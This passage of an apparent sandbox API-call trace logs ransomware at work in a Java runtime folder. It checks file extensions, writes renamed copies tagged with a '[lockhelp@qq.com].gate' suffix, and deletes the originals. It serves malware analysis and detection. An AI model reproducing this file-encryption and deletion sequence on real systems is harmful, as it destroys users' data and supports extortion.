Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString=".doc") returned 4 [0293.270] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".docx") returned 5 [0293.270] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.270] lstrlenW (lpString=".pdf") returned 4 [0293.270] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString=".xls") returned 4 [0293.271] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString=".xlsx") returned 5 [0293.271] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.271] lstrlenW (lpString=".ppt") returned 4 [0293.271] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.271] lstrlenW (lpString=".zip") returned 4 [0293.271] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString=".rar") returned 4 [0293.271] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString=".bz2") returned 4 [0293.271] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString=".7z") returned 3 [0293.271] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.271] lstrlenW (lpString=".dbf") returned 4 [0293.271] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.271] lstrlenW (lpString=".1cd") returned 4 [0293.271] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.271] lstrlenW (lpString=".jpg") returned 4 [0293.271] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.271] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.271] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0293.271] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.272] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4072) returned 1 [0293.272] CloseHandle (hObject=0x4f0) returned 1 [0293.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0293.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.274] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.274] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.276] GetLastError () returned 0x0 [0293.276] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xfe8, lpOverlapped=0x0) returned 1 [0293.333] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xff0, lpOverlapped=0x0) returned 1 [0293.334] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.334] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x106, lpOverlapped=0x0) returned 1 [0293.335] SetEndOfFile (hFile=0x528) returned 1 [0293.335] CloseHandle (hObject=0x528) returned 1 [0293.335] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.335] SetEndOfFile (hFile=0x4f0) returned 1 [0293.339] CloseHandle (hObject=0x4f0) returned 1 [0293.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.340] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0293.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.341] lstrlenW (lpString=".doc") returned 4 [0293.341] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".docx") returned 5 [0293.341] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.341] lstrlenW (lpString=".pdf") returned 4 [0293.341] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".xls") returned 4 [0293.341] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".xlsx") returned 5 [0293.341] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.341] lstrlenW (lpString=".ppt") returned 4 [0293.341] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.341] lstrlenW (lpString=".zip") returned 4 [0293.341] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".rar") returned 4 [0293.341] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".bz2") returned 4 [0293.341] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString=".7z") returned 3 [0293.341] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.341] lstrlenW (lpString=".dbf") returned 4 [0293.341] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.341] lstrlenW (lpString=".1cd") returned 4 [0293.341] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.341] lstrlenW (lpString=".jpg") returned 4 [0293.341] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString=".doc") returned 4 [0293.342] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".docx") returned 5 [0293.342] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.342] lstrlenW (lpString=".pdf") returned 4 [0293.342] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".xls") returned 4 [0293.342] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".xlsx") returned 5 [0293.342] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.342] lstrlenW (lpString=".ppt") returned 4 [0293.342] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString=".zip") returned 4 [0293.342] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".rar") returned 4 [0293.342] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".bz2") returned 4 [0293.342] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString=".7z") returned 3 [0293.342] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString=".dbf") returned 4 [0293.342] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString=".1cd") returned 4 [0293.342] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0293.342] lstrlenW (lpString=".jpg") returned 4 [0293.342] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.343] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.343] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0293.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.343] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3752) returned 1 [0293.343] CloseHandle (hObject=0x4f0) returned 1 [0293.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0293.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.344] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.344] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.344] GetLastError () returned 0x0 [0293.344] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xea8, lpOverlapped=0x0) returned 1 [0293.389] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0293.390] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.390] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x106, lpOverlapped=0x0) returned 1 [0293.390] SetEndOfFile (hFile=0x52c) returned 1 [0293.438] CloseHandle (hObject=0x52c) returned 1 [0293.438] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.438] SetEndOfFile (hFile=0x4f0) returned 1 [0293.440] CloseHandle (hObject=0x4f0) returned 1 [0293.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.440] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0293.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.441] lstrlenW (lpString=".doc") returned 4 [0293.441] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString=".docx") returned 5 [0293.441] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.441] lstrlenW (lpString=".pdf") returned 4 [0293.441] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString=".xls") returned 4 [0293.441] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString=".xlsx") returned 5 [0293.441] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.441] lstrlenW (lpString=".ppt") returned 4 [0293.441] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.441] lstrlenW (lpString=".zip") returned 4 [0293.441] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString=".rar") returned 4 [0293.441] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.441] lstrlenW (lpString=".bz2") returned 4 [0293.442] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".7z") returned 3 [0293.442] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString=".dbf") returned 4 [0293.442] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString=".1cd") returned 4 [0293.442] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString=".jpg") returned 4 [0293.442] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString=".doc") returned 4 [0293.442] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".docx") returned 5 [0293.442] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.442] lstrlenW (lpString=".pdf") returned 4 [0293.442] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".xls") returned 4 [0293.442] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".xlsx") returned 5 [0293.442] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.442] lstrlenW (lpString=".ppt") returned 4 [0293.442] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.442] lstrlenW (lpString=".zip") returned 4 [0293.442] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".rar") returned 4 [0293.442] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.442] lstrlenW (lpString=".bz2") returned 4 [0293.442] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.443] lstrlenW (lpString=".7z") returned 3 [0293.443] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.443] lstrlenW (lpString=".dbf") returned 4 [0293.443] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.443] lstrlenW (lpString=".1cd") returned 4 [0293.443] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0293.443] lstrlenW (lpString=".jpg") returned 4 [0293.443] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.443] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.443] lstrlenW (lpString="cldrdata.jar") returned 12 [0293.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.443] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3860502) returned 1 [0293.443] CloseHandle (hObject=0x4f0) returned 1 [0293.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0293.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0293.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.444] lstrlenW (lpString=".doc") returned 4 [0293.444] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.444] lstrlenW (lpString=".docx") returned 5 [0293.444] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0293.444] lstrlenW (lpString=".pdf") returned 4 [0293.444] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.444] lstrlenW (lpString=".xls") returned 4 [0293.444] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.444] lstrlenW (lpString=".xlsx") returned 5 [0293.444] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0293.444] lstrlenW (lpString=".ppt") returned 4 [0293.444] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.444] lstrlenW (lpString=".zip") returned 4 [0293.444] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.444] lstrlenW (lpString=".rar") returned 4 [0293.444] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.444] lstrlenW (lpString=".bz2") returned 4 [0293.445] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.445] lstrlenW (lpString=".7z") returned 3 [0293.445] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString=".dbf") returned 4 [0293.445] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString=".1cd") returned 4 [0293.445] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString=".jpg") returned 4 [0293.445] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString=".doc") returned 4 [0293.445] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.445] lstrlenW (lpString=".docx") returned 5 [0293.445] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0293.445] lstrlenW (lpString=".pdf") returned 4 [0293.445] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString=".xls") returned 4 [0293.445] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString=".xlsx") returned 5 [0293.445] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0293.445] lstrlenW (lpString=".ppt") returned 4 [0293.445] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.445] lstrlenW (lpString=".zip") returned 4 [0293.445] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString=".rar") returned 4 [0293.445] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.445] lstrlenW (lpString=".bz2") returned 4 [0293.445] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.446] lstrlenW (lpString=".7z") returned 3 [0293.446] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.446] lstrlenW (lpString=".dbf") returned 4 [0293.446] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.446] lstrlenW (lpString=".1cd") returned 4 [0293.446] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0293.446] lstrlenW (lpString=".jpg") returned 4 [0293.446] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.446] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.446] lstrlenW (lpString="dnsns.jar") returned 9 [0293.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.447] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8286) returned 1 [0293.447] CloseHandle (hObject=0x4f0) returned 1 [0293.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0293.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.447] CreateFileW (lpFileName="C:\\Program 